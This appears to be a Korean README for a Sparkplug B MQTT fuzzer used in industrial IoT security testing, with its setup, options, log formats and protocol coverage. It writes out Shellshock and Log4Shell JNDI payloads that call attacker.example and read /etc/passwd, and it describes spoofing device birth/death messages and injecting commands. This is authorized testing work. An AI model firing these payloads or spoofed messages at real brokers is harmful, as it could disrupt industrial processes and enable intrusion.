
Sparkplug B IIoT 프로토콜용 퍼저
Sparkplug B MQTT 프로토콜 구현을 테스트하기 위한 포괄적인 보안 평가 도구입니다. 이 퍼저는 9가지 모든 메시지 유형에 걸쳐 모든 프로토콜 필드를 체계적으로 테스트하고, 네트워크에서 라이브 디바이스를 발견하며, 분석을 위한 상세 로그를 생성합니다.
이 도구는 대상 브로커에 잘못된 형식, 주입, 프로토콜 위반 MQTT 메시지를 전송합니다. 소유한 시스템이나 명시적인 서면 승인을 받은 시스템에만 실행하세요. Sparkplug B 브로커는 일반적으로 OT/ICS 환경에 위치하여 예기치 않은 페이로드가 물리적 프로세스를 방해할 수 있습니다 — 반대가 증명되지 않는 한 모든 대상을 프로덕션 인접 환경으로 간주하세요.
이 도구를 사용하여 Sparkplug B 구현에서 취약점을 발견한 경우, 해당 공급업체와 조정된 공개(coordinated disclosure)를 진행하세요. 이 도구 자체의 보안 문제를 보고하려면 SECURITY.md를 참조하세요.
Sparkplug B 사양은 MQTT와 Google Protocol Buffers를 기반으로 산업용 IoT(IIoT) 환경을 위한 토픽 네임스페이스와 페이로드 형식을 정의합니다. 이 퍼저는 다음과 같은 방식으로 Sparkplug B 구현의 보안과 견고성을 평가합니다:
최신 Debian/Ubuntu/Kali(PEP-668 시스템)에서는 --setup이 시스템 Python에 pip install을 수행할 수 없으므로 먼저 가상 환경 또는 pipx를 사용하세요. 권장 경로:```bash
python3 -m venv .venv
source .venv/bin/activate
python3 sparkplug-fuzzer.py --setup
또는 venv를 직접 관리하고 싶지 않다면 `pipx run`으로 실행할 수 있습니다. PEP-668이 적용되지 않는 구형 시스템에서는 `python3 sparkplug-fuzzer.py --setup`을 바로 실행해도 됩니다.
`--setup`은 다음을 수행합니다:
1. pip 의존성을 설치합니다 (`paho-mqtt`, `protobuf`)
2. [Eclipse Tahu](https://github.com/eclipse/tahu) 저장소의 고정된 태그를 클론합니다 (스크립트의 `TAHU_REF` 참조)
3. `sparkplug_b.py` 및 `array_packer.py` 헬퍼 모듈을 복사합니다
4. `sparkplug_b.proto`를 Python 바인딩으로 컴파일합니다 (`protoc`를 사용할 수 있으면 사용하고, 없으면 `grpcio-tools`로 대체)
5. Tahu 클론을 정리합니다
설정이 완료되면 디렉터리에는 다음이 포함되어야 합니다:```
sparkplug-fuzzer.py # The fuzzer
sparkplug_b.py # Sparkplug B helper module (from Tahu)
array_packer.py # Array packing helper (from Tahu)
sparkplug_b_pb2.py # Generated protobuf bindings
requirements.txt # Python dependencies
python3 sparkplug-fuzzer.py --setup # first-time setup python3 sparkplug-fuzzer.py -H localhost -p 1883 -v # run fuzzer
이 작업은 다음을 수행합니다:
1. `localhost:1883`의 브로커에 연결합니다.
2. 기존 Sparkplug 장치를 발견하기 위해 10초 동안 수신합니다.
3. 퍼저를 Sparkplug 노드/장치로 설정합니다.
4. 12개 퍼즈 카테고리 전부를 실행합니다(~635개 이상의 테스트 케이스).
5. 스푸핑된 메시지로 발견된 모든 장치를 대상으로 합니다.
6. 결과를 `sparkplug_fuzz.jsonl`에 기록합니다.
## 사용법
### 명령줄 옵션```
python3 sparkplug-fuzzer.py [OPTIONS]
인증으로 모든 카테고리 실행:```bash python3 sparkplug-fuzzer.py -H 10.0.1.30 -p 1883 -u admin -P secret -v
**자격 증명을 `ps`에 노출하지 않고 전달하기:**```bash
# Via environment
MQTT_USERNAME=admin MQTT_PASSWORD=secret python3 sparkplug-fuzzer.py -H broker.local
# Or read password from stdin (getpass — no echo)
python3 sparkplug-fuzzer.py -H broker.local -u admin -P -
TLS를 통한 연결:```bash
python3 sparkplug-fuzzer.py -H broker.example.com --tls -v
python3 sparkplug-fuzzer.py -H broker.example.com --tls --cafile ./ca.pem -v
**수동 인증 평가 + 능동 쓰기 프로브:**```bash
python3 sparkplug-fuzzer.py -H 10.0.1.30 --probe-anon-write -v
인젝션 관련 카테고리만 실행:```bash python3 sparkplug-fuzzer.py -H broker.local -c string type_mismatch malformed
**느린 속도로 확장된 탐색 (브로커 부하 최소화):**```bash
python3 sparkplug-fuzzer.py -H 192.168.1.100 --discovery-time 60 --delay 0.5
사용자 지정 그룹/노드 ID 및 로그 파일:```bash
python3 sparkplug-fuzzer.py -H broker.local
-g "Production Floor" -n "TestNode01" -d "TestDevice01"
-l production_fuzz_results.jsonl -vv
**별도의 터미널에서 브로커 트래픽을 모니터링하세요:**```bash
mosquitto_sub -h <broker_host> -p 1883 -t 'spBv1.0/#' -F '%I %t %x'
사전 복제된 Tahu 저장소를 사용한 에어갭 설정:```bash git clone https://github.com/eclipse/tahu.git ~/tahu # on a connected box
python3 sparkplug-fuzzer.py --setup --tahu-path ~/tahu
**실행별 출력 레이아웃:**```bash
# Default — directory is auto-named under ./sparkplug-runs/
python3 sparkplug-fuzzer.py -H broker.local
# -> creates ./sparkplug-runs/2026-05-05_1830_broker.local/sparkplug_fuzz.jsonl
# Explicit directory:
python3 sparkplug-fuzzer.py -H broker.local --output-dir ./fuzz-runs/acme-2026Q2
내장된 STRING_FUZZ_VALUES는 전형적인 인젝션 범주(빈 문자열/대용량 문자열, 널 바이트, 포맷 문자열, XSS, SQLi, 경로 탐색, 프로토타입 오염)를 다룹니다. 실제 엔게이지먼트에서는 브로커의 데이터를 다운스트림에서 소비하는 대상을 겨냥한 2차(second-order) 페이로드가 필요한 경우가 많습니다. 예를 들어 메트릭 이름을 셸로 파이프하는 히스토리언, 값을 log4j에 주입하는 Java 기반 SCADA 호스트, 태그 이름을 HTML로 렌더링하는 대시보드 등입니다.
--extra-string-payloads <FILE> 플래그는 내장 코퍼스에 추가 코퍼스를 덧붙입니다. 형식은 줄당 하나의 페이로드, UTF-8입니다. 공백만 있는 줄은 유지되며(퍼즈에서 종종 의도적임), 완전히 빈 줄은 제거됩니다. 이 플래그는 내장 목록을 대체하지 않고 추가하므로 기존 커버리지가 보존됩니다.```bash
cat > corpus.txt <<'EOF' () { :;}; /bin/cat /etc/passwd () { :; }; echo VULN ${jndi:ldap://attacker.example/x} ${${::-j}${::-n}${::-d}${::-i}:ldap://attacker.example/x} ${${lower:jndi}:ldap://attacker.example/x} EOF
python3 sparkplug-fuzzer.py -H broker.local --extra-string-payloads corpus.txt -v
퍼저는 시작 시 `[+] Extra string payloads: loaded N from <path>`를 출력하며, 각 페이로드는 `STRING_FUZZ_VALUES`를 반복하는 모든 위치에서 방출됩니다 — 주로 `string` 범주이지만, 타입 불일치 생성기의 문자열 타입 케이스에서도 방출됩니다.
하드 한도: 파일 크기 10MB, 페이로드 10,000개. 더 필요하다면(그리고 그에 맞는 런타임 예산이 있다면) 스크립트 상단의 `MAX_EXTRA_PAYLOADS_FILE_SIZE` / `MAX_EXTRA_PAYLOADS_COUNT`를 조정하세요.
## v0.2 릴리스 노트
- `--output-dir` 플래그 및 자동 생성되는 `./sparkplug-runs/<UTC-ts>_<host>/` 기본값 — 각 실행이 고유한 디렉터리에 저장되므로 실행 간에 아티팩트가 충돌하지 않습니다.
- `--setup`용 `--tahu-path` 플래그 — 아웃바운드 `git clone`이 차단된 에어갭(air-gapped) 테스트 환경에서 `eclipse/tahu`의 로컬 클론을 가리킵니다. 로컬 소스는 정리 시 절대 삭제되지 않습니다.
- 콘솔 및 JSONL 타임스탬프가 명시적 `Z` 접미사와 함께 UTC로 강제 설정되어 브로커 로그와의 상호 상관관계에 시간대 계산이 필요 없습니다.
- `paho.mqtt` 로거는 기본적으로 WARNING으로 제한되며, `-v`에서는 INFO, `-vv`에서는 DEBUG로 표시됩니다. 패킷별 클라이언트 텔레메트리가 더 이상 퍼즈 신호를 묻지 않습니다.
- `tests/` 아래의 pytest 테스트 하네스 — FuzzLogger, 토픽 헬퍼, 출력 경로 해석, `--tahu-path` 검증을 다루는 23개 테스트. [테스트 실행](#running-the-tests)을 참조하세요.
## 테스트 실행
테스트 하네스는 네트워크 독립적 표면(로거 정확성, 토픽 빌더, 출력 경로 해석, `--tahu-path` 파싱)을 다루며 브로커, paho-mqtt 또는 protobuf가 설치되지 않은 상태에서도 실행됩니다.```bash
pip install -r requirements-dev.txt
pytest tests/
예상 결과: 23 passed. 네트워크에 의존하는 경로(PayloadBuilder protobuf, 퍼징 퍼블리셔, MQTT 라이프사이클)는 컨테이너화된 브로커를 갖춘 향후 통합 테스트 계층으로 의도적으로 연기되었습니다.
### 네트워크 발견
발견 단계에서 퍼저는 `spBv1.0/#`에 구독하고 모든 Sparkplug 트래픽을 수신합니다. `DeviceTracker` 컴포넌트는 관찰된 메시지를 파싱하여 실시간 네트워크 맵을 구축합니다:
- **NBIRTH** 메시지는 엣지 노드와 해당 메트릭 정의(이름, 별칭, 데이터 유형)를 드러냅니다
- **DBIRTH** 메시지는 디바이스와 해당 메트릭 스키마를 드러냅니다
- **NDEATH/DDEATH** 메시지는 노드/디바이스 수명 주기 상태를 추적합니다
- **STATE** 메시지는 호스트 애플리케이션과 온라인/오프라인 상태를 드러냅니다
이 맵은 대상 퍼징 단계에서 실제 디바이스의 실제 메트릭 스키마에 맞는 맥락적 공격을 보내는 데 사용됩니다.
### 인증 평가
퍼저가 `-u/-P` 없이 연결할 때(그리고 `MQTT_USERNAME`/`MQTT_PASSWORD`가 설정되지 않은 경우), 수동적 발견만으로 브로커 인증 태세를 도출합니다. 이는 로그에 단일 `AUTH_ASSESSMENT` 이벤트와 출력 요약을 생성합니다:
| 신호 | 의미 | 도출 방법 |
|---|---|---|
| `anon_connect_accepted` | 브로커가 자격 증명 없이 CONNECT를 수락함 | 퍼저 자신의 CONNECT가 성공함 |
| `anon_subscribe_accepted` | 브로커가 익명 클라이언트에게 `spBv1.0/#` / `STATE/#`를 전달함 | 수신 대기 창 동안 RX 메시지가 하나 이상 도착함 |
| `anon_publish_accepted` | 브로커가 익명 클라이언트의 PUBLISH를 수락함 | `--probe-anon-write`가 전달된 경우에만 설정됨; QoS=1 프로브 + PUBACK 대기 |
| `unauth_endpoints` | 인증 없이 관찰 가능한 노드 / 디바이스 / 호스트 애플리케이션 | 발견된 네트워크 맵의 모든 엔티티(인증이 생성된 적 없음) |
QoS=1 프로브는 수동적 단계에서 능동적 단계로 넘어가기 때문에 옵트인 방식입니다. QoS=0에서는 브로커가 거부할 메시지를 조용히 버리므로 쓰기 수락을 확인하려면 PUBACK을 읽어야 합니다.
MQTT/Sparkplug에는 엔드포인트별 인증이 없습니다 — 인증은 브로커 수준의 문제입니다. 따라서 "인증 없이 관찰 가능한 엔드포인트"는 엔드포인트 자체의 속성이 아니라 *비용 없이 도달 가능한 대상* 목록으로 보고됩니다.
### 대상 퍼징
체계적인 퍼징 후, 이 도구는 발견된 각 디바이스를 대상으로 다음을 수행합니다:
1. **위조된 사망 알림** — NDEATH/DDEATH를 게시하여 구독자들이 디바이스가 오프라인 상태라고 믿도록 속입니다
2. **위조된 탄생 인증서** — NBIRTH/DBIRTH를 게시하여 발견된 노드/디바이스를 가장합니다
3. **명령 주입** — 알려진 각 메트릭에 대한 경계값을 가진 NCMD/DCMD 메시지를 보내 대상이 수신 명령을 검증하는지 테스트합니다
4. **Rebirth 명령** — `Node Control/Rebirth` NCMD를 보내 디바이스가 자신의 birth를 다시 게시하도록 트리거합니다
## 출력 및 로그 분석
### 로그 형식
로그 파일은 JSON-lines 형식(`.jsonl`)을 사용합니다 — 줄마다 하나의 JSON 객체가 있으며, `jq`, Python 또는 JSON을 지원하는 모든 도구로 분석하기에 적합합니다.
64 KiB보다 큰 페이로드는 hex 인라인 처리되지 않습니다. 대신 `payload_hex`는 `sha256:<digest>+len=<n>`을 담아 매우 큰 퍼징 케이스에서도 로그 크기가 제한되도록 합니다. `payload_len`은 항상 존재합니다.
**TX 레코드**(발신 퍼징 메시지):```json
{
"ts": "2026-04-10T15:30:00.123456Z",
"dir": "TX",
"case_id": "BOUNDARY-0042",
"category": "boundary",
"topic": "spBv1.0/Sparkplug B Devices/DDATA/FuzzNode/FuzzDevice",
"payload_hex": "0800120a0a06...",
"payload_len": 28,
"payload_decoded": {"timestamp": 1712345678000, "metrics": [{"name": "fuzz/boundary/Int32", "datatype": 3, "int_value": 2147483647}]},
"description": "Boundary Int32 = 2147483647 (int_value)"
}
RX record (네트워크에서 수신한 메시지):```json { "ts": "2026-04-10T15:30:01.456789Z", "dir": "RX", "topic": "spBv1.0/Production/NBIRTH/PLC01", "payload_hex": "0800120f...", "payload_len": 156, "payload_decoded": {"timestamp": 1712345679000, "metrics": [{"name": "Node Control/Rebirth", "datatype": 11, "boolean_value": false}]} }
**이벤트 기록** (시스템 이벤트):```json
{
"ts": "2026-04-10T15:29:50.000000Z",
"dir": "EVENT",
"event": "DISCOVERY_COMPLETE",
"details": {"groups": ["Production"], "node_count": 3, "device_count": 7, "targets": 10}
}
카테고리별 케이스 수 계산:```bash grep '"dir": "TX"' sparkplug_fuzz.jsonl | jq -r '.category' | sort | uniq -c | sort -rn
**모든 문자열 삽입 사례 추출:**```bash
jq 'select(.category == "string")' sparkplug_fuzz.jsonl
발견된 모든 장치 나열:```bash jq 'select(.event == "DISCOVERY_COMPLETE")' sparkplug_fuzz.jsonl
**브로커 연결 끊김을 유발한 사례를 찾습니다:**```bash
jq 'select(.event == "UNEXPECTED_DISCONNECT" or .event == "RECONNECT_FAIL")' sparkplug_fuzz.jsonl
인증 평가 가져오기:```bash jq 'select(.event == "AUTH_ASSESSMENT")' sparkplug_fuzz.jsonl
**인증 없이 도달 가능한 엔드포인트 나열:**```bash
jq -r 'select(.event == "AUTH_ASSESSMENT") | .details.unauth_endpoints[] | [.kind, .group, .node, .device, .host_id, .status] | @tsv' sparkplug_fuzz.jsonl
시간 경과에 따른 TX 수 가져오기(속도 분석용):```bash grep '"dir": "TX"' sparkplug_fuzz.jsonl | jq -r '.ts[:19]' | uniq -c
**게시된 모든 토픽 내보내기:**```bash
jq -r 'select(.dir == "TX") | .topic' sparkplug_fuzz.jsonl | sort -u
Python으로 분석하기:```python import json
with open("sparkplug_fuzz.jsonl") as f: records = [json.loads(line) for line in f]
tx = [r for r in records if r["dir"] == "TX"] rx = [r for r in records if r["dir"] == "RX"] events = [r for r in records if r["dir"] == "EVENT"]
print(f"Total TX: {len(tx)}, RX: {len(rx)}, Events: {len(events)}")
errors = [r for r in rx if "_decode_error" in str(r.get("payload_decoded", {}))] print(f"Decode errors in RX: {len(errors)}")
## 프로토콜 커버리지
### 메시지 유형
9가지 Sparkplug B 메시지 유형 모두 테스트됩니다:
| 메시지 유형 | 토픽 패턴 | 설명 | 퍼저 사용 |
|---|---|---|---|
| NBIRTH | `spBv1.0/{group}/NBIRTH/{node}` | 노드 탄생 인증서 | 퍼저 존재 확립; 발견된 노드로 위장; 순서 테스트 |
| NDEATH | `spBv1.0/{group}/NDEATH/{node}` | 노드 사망 알림 | MQTT last-will; 발견된 노드로 위장; 순서 테스트 |
| DBIRTH | `spBv1.0/{group}/DBIRTH/{node}/{device}` | 디바이스 탄생 인증서 | 퍼저 디바이스 확립; 발견된 디바이스로 위장; 순서 테스트 |
| DDEATH | `spBv1.0/{group}/DDEATH/{node}/{device}` | 디바이스 사망 알림 | 발견된 디바이스로 위장; 순서 테스트; 고아(orphan) 테스트 |
| NDATA | `spBv1.0/{group}/NDATA/{node}` | 노드 데이터 업데이트 | 경계 값; 시퀀스 번호; 순서 테스트 |
| DDATA | `spBv1.0/{group}/DDATA/{node}/{device}` | 디바이스 데이터 업데이트 | 대부분의 퍼즈 카테고리를 위한 주요 전달 수단 |
| NCMD | `spBv1.0/{group}/NCMD/{node}` | 노드 명령 | 타겟 퍼징(rebirth 명령); 고아(orphan) 테스트 |
| DCMD | `spBv1.0/{group}/DCMD/{node}/{device}` | 디바이스 명령 | 발견된 디바이스 메트릭에 대한 타겟 퍼징; 고아(orphan) 테스트 |
| STATE | `STATE/{host_id}` | 호스트 애플리케이션 상태(JSON) | 잘못된 JSON 인젝션 |
### 데이터 유형
19가지 Sparkplug B 메트릭 데이터 유형 모두 유형별 경계 값으로 테스트됩니다:
| 코드 | 유형 | Protobuf 필드 | 테스트된 경계 값 |
|------|------|---------------|----------------------|
| 1 | Int8 | int_value | 0, -128, 127, 128(오버플로), -129(언더플로) |
| 2 | Int16 | int_value | 0, -32768, 32767, 오버플로/언더플로 |
| 3 | Int32 | int_value | 0, -2^31, 2^31-1, 오버플로/언더플로 |
| 4 | Int64 | long_value | 0, -2^63, 2^63-1, 오버플로 |
| 5 | UInt8 | int_value | 0, 255, 256, -1 |
| 6 | UInt16 | int_value | 0, 65535, 65536, -1 |
| 7 | UInt32 | int_value | 0, 4294967295, -1 |
| 8 | UInt64 | long_value | 0, 2^64-1, -1 |
| 9 | Float | float_value | 0.0, -0.0, 최대, 최소, inf, -inf, NaN |
| 10 | Double | double_value | 0.0, -0.0, 최대, 최소, inf, -inf, NaN |
| 11 | Boolean | boolean_value | True, False; 원시 int 값(0, 1, 2, 255)으로도 테스트 |
| 12 | String | string_value | 빈 값, 긴 값(최대 64KB), 인젝션 페이로드 |
| 13 | DateTime | long_value | Epoch, 최대, 먼 미래/과거 |
| 14 | Text | string_value | String과 동일한 인젝션 페이로드 |
| 15 | UUID | string_value | 빈 값, 유효, 잘못된 형식, 인젝션 |
| 16 | DataSet | dataset_value | dataset 카테고리를 통한 구조적 위반 |
| 17 | Bytes | bytes_value | 빈 값, 널 바이트, 랜덤, 대용량 |
| 18 | File | bytes_value | 빈 값, 매직 바이트, 대용량 |
| 19 | Template | template_value | 정의되지 않은 참조, 고아(orphan) 템플릿 |
### 필드 커버리지
퍼저는 87개 이상의 고유 protobuf 필드 경로를 다룹니다:
- **페이로드 루트 필드**: timestamp, seq, uuid, body, metrics
- **메트릭 필드**: name, alias, timestamp, datatype, is_historical, is_transient, is_null, metadata, properties 및 모든 value oneof 변형
- **MetaData 필드**: is_multi_part, content_type, size, seq, file_name, file_type, md5, description
- **PropertySet/PropertyValue**: keys, values, type, is_null, 재귀적 propertyset_value, propertysets_value
- **DataSet**: num_of_columns, columns, types, rows, elements, 모든 DataSetValue 변형
- **Template**: version, template_ref, is_definition, 중첩 메트릭, parameters
## 아키텍처
퍼저는 다음 구성 요소로 구성된 단일 Python 파일입니다:```
sparkplug-fuzzer.py
|
+-- Constants / ALL_METRIC_TYPES / STRING_FUZZ_VALUES
| Type definitions and fuzz value tables
|
+-- FuzzLogger
| JSON-lines file logging + console output
| Protobuf payload decoding
|
+-- DeviceTracker
| Passive network discovery
| Tracks groups, nodes, devices, metrics
|
+-- PayloadBuilder
| Valid payload construction (sparkplug_b helpers)
| Raw payload construction (sparkplug_b_pb2 direct)
| Binary corruption (truncate, flip, append)
|
+-- 12 Fuzz Generators
| Each is a Python generator yielding (topic, bytes, desc)
| Covers boundary, string, type, seq, timestamp, alias,
| orphan, ordering, recursive, dataset, malformed, topic
|
+-- SparkplugFuzzer
| Orchestration: connect, discover, fuzz, target, report
| Centralized publish with logging
| Auto-reconnect on disconnect
|
+-- CLI (argparse) + main()
Argument parsing and entry point
2단계 페이로드 구성은 핵심 설계 결정 사항입니다:
PayloadBuilder.node_birth() 등)은 sparkplug_b 헬퍼 함수를 사용하여 유효하고 형식이 올바른 페이로드를 구성합니다. 존재 구축 및 표적 스푸핑에 사용됩니다.PayloadBuilder.raw_payload(), corrupt_bytes())은 sparkplug_b_pb2 protobuf 객체 또는 원시 바이트를 직접 조작하여 검증을 우회합니다. 파서의 오류 처리와 엣지 케이스를 테스트하는 의도적으로 형식이 잘못된 페이로드에 사용됩니다.이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다 — 전체 텍스트는 LICENSE를 참조하세요.
sparkplug-fuzzer.py --setup은 설치 시 Eclipse Tahu에서 다음 구성 요소를 가져와 작업 디렉터리로 복사합니다:
sparkplug_b.py — Sparkplug B 헬퍼 모듈array_packer.py — 배열 패킹 헬퍼sparkplug_b.proto — Protocol Buffer 정의(sparkplug_b_pb2.py 생성에 사용됨)Eclipse Tahu는 Apache License, Version 2.0에 따라 배포됩니다. Tahu 소스 파일 중 이 저장소에 재배포되는 파일은 없습니다. 전체 출처 표기는 NOTICE를 참조하세요.
| Option | Default | Description |
|---|
-H, --host | localhost | MQTT 브로커 호스트 이름 또는 IP |
-p, --port | 1883 (or 8883 with --tls) | MQTT 브로커 포트 |
-u, --username | None | MQTT 사용자 이름 (MQTT_USERNAME 환경 변수도 읽음) |
-P, --password | None | MQTT 비밀번호 (MQTT_PASSWORD도 읽음; -를 전달하면 에코 없이 stdin에서 읽음) |
--tls | off | TLS로 연결; -p가 설정되지 않으면 기본 포트는 8883이 됨 |
--cafile | None | TLS 서버 인증서 검증용 CA 번들 |
--insecure | off | TLS 호스트 이름/인증서 검증 건너뜀 (테스트 전용) |
-g, --group | Sparkplug B Devices | 퍼저가 등록되는 Sparkplug 그룹 ID |
-n, --node | FuzzNode | 퍼저용 Sparkplug 엣지 노드 ID |
-d, --device | FuzzDevice | 퍼저용 Sparkplug 디바이스 ID |
-c, --categories | all | 공백으로 구분된 실행할 퍼즈 카테고리 목록 |
--discovery-time | 10 | 네트워크 디스커버리를 수동으로 수신 대기하는 시간(초) |
--delay | 0.1 | 퍼즈 메시지 간 지연 시간(초) |
--probe-anon-write | off | 디스커버리 중 브로커가 인증되지 않은 PUBLISH를 수락하는지 확인하기 위해 QoS=1 publish를 한 번 전송 |
-l, --log | sparkplug_fuzz.jsonl | 출력 로그 파일 이름 (상대 경로는 --output-dir 안에 생성되고, 절대 경로는 그대로 사용됨) |
--output-dir | ./sparkplug-runs/<UTC-ts>_<host>/ | 실행별 출력 디렉터리. 없으면 생성됨. |
-v, --verbose | 0 | 콘솔 상세 수준 증가 (-v = info, -vv = debug). -vv는 퍼즈 생성기 건너뜀도 표시하며, 상세 수준에 따라 스로틀된(throttled) paho.mqtt 로거도 INFO/DEBUG로 올라감. |
--setup | — | 모든 종속 항목을 설치하고 종료 |
--tahu-path | — | eclipse/tahu 로컬 클론(또는 해당 python/core 디렉터리) 경로. 인터넷이 차단된 환경에서 --setup이 git clone 대신 사용함. |
--extra-string-payloads | — | 추가 문자열 삽입 페이로드 파일 경로 (줄당 하나, UTF-8). 내장된 STRING_FUZZ_VALUES에 추가되며 대체하지 않음. 최대 10MB / 10,000개 페이로드. 사용자 정의 문자열 코퍼스 참조. |
| 카테고리 | 설명 | 대략적 케이스 수 |
|---|
boundary | 모든 19개 숫자 데이터 타입의 최소/최대/오버플로, 값이 있는 is_null, 플래그 조합 | ~200 |
string | String, Text, UUID, MetaData 필드 및 STATE 메시지 전반의 삽입 페이로드 (XSS, SQLi, 포맷 문자열, 경로 탐색, 명령 삽입, 널 바이트) | ~100 |
type_mismatch | 선언된 데이터 타입과 잘못된 protobuf 값 필드, 잘못된 데이터 타입 코드, 여러 oneof 필드 | ~150 |
sequence | 시퀀스 누락, 중복, 역순, 롤오버, NBIRTH/NDEATH 간 bdSeq 불일치 | ~20 |
timestamp | 0, 최대 uint64, 먼 미래/과거, 메트릭과 페이로드 타임스탬프 불일치, DateTime 극단값 | ~15 |
alias | 서로 다른 메트릭에 대한 중복 별칭, 극단적인 별칭 값, 데이터 메시지의 정의되지 않은 별칭 | ~15 |
orphan | 존재하지 않는 디바이스, 노드, 그룹을 대상으로 하는 데이터/명령; 정의되지 않은 템플릿 참조 | ~20 |
ordering | 프로토콜 상태 위반: birth 전 데이터, 이중 birth, death 후 데이터, 잘못된 birth 순서 | ~15 |
recursive | 중첩된 PropertySet 체인 (깊이 1-100), 키/값 길이 불일치, PropertySetList 변형 | ~15 |
dataset | 열 수 불일치, 행 요소 불일치, 타입 위반, 빈/대용량 데이터셋, 열 이름의 특수 문자 | ~25 |
malformed | 바이너리 protobuf 손상: 잘림, 비트 플립, 임의 바이트, 과도하게 긴 varints, 잘못된 메시지 클래스 | ~30 |
topic | 대소문자 변형, 잘못된 버전, 추가/누락된 슬래시, 특수 문자, 토픽 문자열의 와일드카드 | ~30 |